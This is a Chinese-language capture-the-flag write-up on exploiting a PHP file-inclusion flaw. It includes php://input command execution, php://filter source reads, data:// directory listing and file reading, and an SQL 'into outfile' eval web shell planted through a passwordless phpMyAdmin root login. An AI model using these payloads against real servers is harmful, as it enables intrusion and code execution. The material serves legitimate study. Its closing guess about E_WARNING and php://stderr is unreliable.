我的解题过程
-
访问网站,网页正文为
<?php show_source(__FILE__); echo $_GET['hello']; $page=$_GET['page']; while (strstr($page, "php://")) { $page=str_replace("php://", "", $page); } include($page); ?>
- __FILE__,当前文件的绝对地址
- show_source()对文件进行PHP语法高亮显示
- 打印GET方法传来的hello参数
- 将GET方法传来的page参数赋值给$page变量
- 通过while循环除去$page变量中的”php://”字符串,strstr()返回第一次第二个参数在第一个参数字符串中的位置,当查找失败时返回null
- include获取指定文件中存在的所有文本、代码、标记
-
首先绕过php://,使用大小写绕过即可,Pnp://。
-
然后通过php://input,通过POST上传PHP脚本,进而执行系统命令,网页返回内容为”fl4gisisish3r3.php、index.php、phpinfo.php”,发现flag所在的文件名为fl4gisisish3r3.php。
POST /?page=Php://input HTTP/1.1 Host: 220.249.52.133:34797 Content-Length: 20 <?php system("ls")?>
-
尝试直接访问,ip:port/fl4gisisish3r3.php,网页返回内容为空,看来需要直接读取该PHP源码文件
-
使用PHP://filter,读取文件,并通过base64编码将它回显,构造访问链接ip:port/?page=Php://filter//read=convert.base64-encode/resource=./fl4gisisish3r3.php,网页返回内容为”PD9waHAKJGZsYWc9ImN0Zns4NzZhNWZjYS05NmM2LTRjYmQtOTA3NS00NmYwYzg5NDc1ZDJ9IjsKPz4K”
-
使用Hasher Chrome扩展进行base64解码,内容如下
<?php $flag="ctf{876a5fca-96c6-4cbd-9075-46f0c89475d2}"; ?>
-
发现flag,ctf{876a5fca-96c6-4cbd-9075-46f0c89475d2}
-
提交,答案正确
别人的解题方法
方法一
- 使用data://伪协议
- 获取当前路径,?page=data://text/plain,<?php echo $_SERVER[‘DOCUMENT_ROOT’] ?>,网页返回内容为”/var/www”
- 列出当前路径下的文件,?page=data://text/plain,<?php print_r(scandir(“/var/www”)); ?>,网页返回内容为”Array ( [0] => . [1] => .. [2] => fl4gisisish3r3.php [3] => index.php [4] => phpinfo.php )”
- 查看fl4gisisish3r3.php文件内容,*?page=data://text/plain,<?php $a_code=file_get_contents(“fl4gisisish3r3.php”);echo htmlspecialchars($a_code); ?>,网页返回内容为”<?php $flag=”ctf{876a5fca-96c6-4cbd-9075-46f0c89475d2}”; ?>”
- file_get_contents()把整个文件读入一个字符串
- scandir(dir)返回文件和目录的数组
- print_r()将变量进行打印,string、integer、float类型直接打印变量,array、object会按一定格式进行打印
方法二
- 扫描目录,发现ip:port//phpmyadmin/
- 使用用户名root,密码为空直接登陆成功
- 执行sql,”select “<?php eval(@$_POST[‘flag’]); ?>” into outfile ‘/tmp/test.php’“,文件写入成功
- 这个方法我没有复现成功,因为这个链接通过浏览器访问不到404,而写入/var/www目录没有写权限,所以这个方法比较不明白
独立思考
1. 为什么PHP代码中会过滤php://?
php:// 访问各个输入/输出流(I/O streams)
PHP提供了一些杂项输入/输出流,允许PHP访问PHP的输入输出流、标准输入输出、错误描述符,内存中、磁盘备份的临时文件流以及可以操作其他读写文件资源的过滤器。
流 | 作用 |
---|---|
php://stdin</br>php://stdout</br>php://stderr | 允许直接访问PHP进程相应的输入或输出流 |
php://input | 是一个可以访问Request的原始数据的只读流 |
php://output | 允许以和print、echo一样的方式写入到输出缓冲区 |
php://fd | 允许直接访问指定的文件描述符 |
php://memory</br>php://temp | 类似文件包装器的数据流,允许读写临时数据 |
php://filter | 数据流打开时筛选过滤 |
在CTF中常用的是php://filter和php://input
- php://filter用于读取源码并进行base64编码输出,不然就会直接当作PHP代码执行
- resource=<>,必需参数,它指定了筛选过滤的流
- read=<>,可选参数,定义读链的筛选列表,可以设置一个或多个,以管道符分隔
- write=<>,可选参数,定义写链的筛选列表,可以设置一个或多个,以管道符分隔
- php://filter/read=convert.base64-encode/resource=[文件名]
- php://input用于执行php代码,与POST方法匹配起作用,将POST方法传来的数据作为PHP代码执行
- url中带上get参数php://input
- POST数据中带上PHP代码<?php phpinfo()?>
2. include()有什么常见利用方法吗?
include和require语句在作用上大致相同,但是在错误处理方面:
- require会生成致命错误(E_COMPILE_ERROR),并停止脚本
- include只生成警告(E_WARNING),并且脚本会继续
所以使用require向执行流引用关键文件,有助于提高应用程序的安全性和完整性。
这也就是说本题应该可能要利用E_WARNING?那E_WARNING很可能在php://stderr里面。
产生过的疑问
- 为什么PHP代码中会过滤php://?
- include()有什么常见利用方法吗?